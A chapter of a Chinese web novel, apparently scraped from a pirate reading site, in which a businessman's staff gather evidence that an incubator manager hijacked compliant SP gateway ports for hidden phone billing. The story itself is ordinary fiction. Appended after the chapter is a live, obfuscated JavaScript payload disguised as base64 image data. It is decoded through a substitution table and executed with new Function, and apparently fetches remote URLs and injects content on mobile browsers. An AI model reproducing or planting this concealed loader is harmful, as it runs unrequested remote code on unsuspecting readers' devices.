第250章 证据锁定倪邵勇
新笔趣阁(52xbq.com)更新快,无弹窗!
第250章证据锁定倪邵勇(第1/2页)
凌晨两点,刘小颂被手机铃声叫醒。
听完老崔的话以后,他整个人立刻清醒了。
他披上外套,坐在床头打开笔记本电脑,接收老崔发来的技术报告。
看完报告,刘小颂的第一反应是联盟内部出了新叛徒。
他马上打开反盗版联盟的成员名册,逐一核对。
名单上根本没有鑫达通信这家公司。
这是一家完全游离在联盟之外的野生SP服务商。
刘小颂仔细查看老崔附上的技术日志。
这个暗扣脚本的代码结构极其粗糙,没有做任何伪装和混淆,就是最原始的暴力发包。
但就是这种粗糙的代码,扣费量大得惊人。
仅仅三天时间,后台记录显示,已经有超过一万名用户被强制订阅。
与之对应的是,平台客服中心接收到的关于不明扣费的投诉工单,正在以一条陡峭的曲线上升。
刘小颂不敢耽搁,直接拨通了陈浩的电话。
电话接通,刘小颂把情况原原本本汇报了一遍。
“老板,这家鑫达通信胆子太大了,完全不顾死活地捞钱。
这种搞法,用不了一个星期,移动网关就会被投诉信淹没,整个SP盘子都会被连累。”
陈浩靠在床头,听着电话里刘小颂的汇报。
他把笔记本拿过来,打开邮箱,下载了老崔发来的完整报告。
鼠标滚轮滑动,陈浩的视线在一行行数据间扫过。
当他看到鑫达通信借用的网关端口代码时,动作停住了。
这串代码他很眼熟,格式明显是自己平台授权的。
陈浩调出之前收集的孵化园入驻企业资料。
一番比对后发现,鑫达通信使用的网关端口,与孵化园内三家合规SP商的接入通道高度重合。
这绝对不是巧合。
移动网关的端口分配有严格的审核机制,不可能出现多个企业共用一个端口的情况,除非是有人在底层做了镜像劫持。
能接触到这些合规SP商的核心接入代码,并且有权限在孵化园做手脚的只有一个人。
孵化园总经理倪邵勇。
陈浩靠在椅背上,点燃一根烟。
倪邵勇这是眼红SP的暴利,自己下场捞钱,而且吃相极其难看,还把风险全转嫁到了别人头上。
陈浩吐出一口青烟,对着电话那头的刘小颂说道。
“这份报告先压着,不要声张。”
刘小颂有些着急。
“老板,咱们不报警吗?
这种暗扣行为,直接把证据交到信管局,够他们喝一壶的。”
“交到信管局,顶多也就是封停几个端口,抓个叫刘长博的替罪羊。”
陈浩弹了弹烟灰。
“倪邵勇既然敢这么干,肯定做好了物理隔离。
他随时可以把鑫达通信注销,把责任推得一干二净。
咱们要干,就得把他钉死在案板上。”
陈浩安排接下来的动作。
“你让老崔不要打草惊蛇,继续全天候监控,把每一笔暗扣的资金流水、每一个被盗用端口的请求日志,全部固定下来做成铁证。
另外,你明天上午亲自去一趟孵化园。
带上这份端口被盗用的技术日志,去找那三家合规SP商。
私下找他们核实情况,看看他们对自己端口被套用这事,到底知不知情。”
刘小颂答应下来。
“明白,我明天一早就去办。”
……
第二天上午十点,电真空厂孵化园。
刘小颂径直来到二楼的一家SP公司。
这家公司名叫星图网络,是孵化园里最早入驻的合规企业之一。
刘小颂找到星图网络的老板孙东辉。
(本章未完,请点击下一页继续阅读)第250章证据锁定倪邵勇(第2/2页)
孙东辉正对着电脑屏幕长吁短叹,头发抓得像个鸡窝。
“孙总,忙着呢?”
刘小颂拉开椅子坐下。
孙东辉抬起头,满脸愁容。
“刘总,您怎么来了。
这几天我真是见了鬼了。
我们公司的彩铃业务明明没做大规模推广,后台的客诉率突然飙升。
今天早上,移动那边直接发了黄色预警函,警告我们再不降低客诉率,就要切断网关接入。”
刘小颂从包里拿出一份打印好的技术日志,推到孙东辉面前。
“孙总,你看看这个。”
孙东辉拿起日志,只看了一眼,脸色大变。
日志上记录着,大量未经用户授权的暗扣请求,正通过星图网络的网关端口发送到移动计费中心。
“这根本不是我们公司的操作!”
孙东辉指着纸上的数据,声音发抖。
“有人盗用了我们的端口!”
刘小颂把鑫达通信套用资质的事情和盘托出。
孙东辉听完,气得浑身发抖,一拳砸在办公桌上。
“倪邵勇这个王八蛋!
他收了我们的高价代办费和工位费,居然还在背地里吸我们的血,拿我们当替死鬼!”
另外两家被套用端口的SP商,情况与星图网络如出一辙。
核实完毕后,刘小颂将三家SP商出具的不知情声明、移动发来的预警函复印件,连同老崔收集的底层数据,全部带回了公司。
老崔把所有的材料汇总,做成了一份详尽的调查报告。
报告里包含了暗扣脚本的源码分析、鑫达通信三天内的完整资金流水、端口盗用的时间节点,以及用户投诉的区域分布。
证据链完美闭合。
这不再是一起简单的违规扣费事件,而是一场蓄谋已久的职务侵占与网络诈骗。
陈浩翻看着这份厚达三十多页的报告,非常满意两人的效率。
老崔建议道。
“老板,所有证件都齐了。
只要把这份材料递交上去,警方介入,一查服务器底层日志,倪邵勇就跑不了了。”
陈浩合上报告,把文件袋的棉线绕好。
“辛苦了,老崔。
你先回去休息,接下来的事交给我。”
晚上八点,华清佳园。
陈浩独自坐在书房,拿起桌上的手机,翻开通讯录,找到张怀的私人号码。
按下拨号键,听筒里传来冗长的嘟嘟声。
电话响了足足半分钟,才被接起。
“喂,哪位?”
张怀的声音带着浓重的鼻音,显然已经睡下。
陈浩语气平和。
“张局,这么晚打扰您休息,实在抱歉。
我是陈浩。”
电话那头传来床铺翻动的声音。
张怀清了清嗓子,客气地说道。
“哦,是陈总啊。
这么晚打电话,有什么急事吗?”
陈浩没有绕弯子。
“张局,确实有件小事,想跟您私下通个气。
这事涉及电真空厂孵化园的一些业务数据,电话里三言两语说不清楚,也不太方便说。”
张怀在电话那头沉默了足足五秒钟。
他是个老狐狸。
陈浩在这个时间点,打他的私人号码,用这种隐晦的措辞提起孵化园。
这绝对不是什么“小事”。
“既然电话里不方便,那就见面谈吧。”
陈浩顺势抛出时间地点。
“明天中午十二点,我请您吃个便饭。
就在部委附近的全聚德,我在牡丹厅等您。”
“好,明天见。”
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();